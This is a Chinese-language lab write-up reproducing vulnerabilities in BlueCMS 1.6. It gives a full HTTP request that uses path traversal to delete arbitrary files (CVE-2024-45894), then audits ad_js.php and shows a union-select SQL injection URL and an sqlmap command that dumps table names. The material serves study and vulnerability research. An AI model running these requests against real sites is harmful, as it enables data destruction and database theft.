BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入
BlueCMS 1.6 安装包下载:
http://www.xsssql.com/wp-content/uploads/2024/10/bluecms-master1.6.zip
环境搭建:
下载phpstudy,启动nignx和mysql服务
随后创建网站,在浏览器直接访问
http://127.0.0.1/install
直接下一步
使用phpstudy创建数据库,并配置数据库信息
安装完成后如图:
访问管理后台,并登录到管理后台
http://127.0.0.1/admin/
通过删除robots.txt文件进行测试
poc如下
GET /admin/database.php?act=del&file_name=../../robots.txt HTTP/1.1
Host: 10.10.10.5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.5/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6inaqq37c2kes34gfthojnbcl7
Connection: close
直接在浏览器访问/admin/database.php?act=del&file_name=../../robots.txt 地址即可进行任意文件删除
以上漏洞属于CVE-2024-45894
接下来我们使用seay新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞
查看ad_js.php文件
ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功
如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''。
getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad,疑似有sql注入
通过查找文件发现getone方法在/include/mysql.class.php里面,查看函数声明
函数并没有过滤数据也没有进行参数化查看
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
在浏览器访问测试
此处为了方便查看可以把sql语句打印输出
构造sql语句进行测试
http://10.10.10.5/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)
使用sqlmap进行注入:
通过sqlmay注入获取表名:
sqlmap -u "http://10.10.10.5/ad_js.php?ad_id=0" -D testsce --tables
原文始发于微信公众号(TEST安全):BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论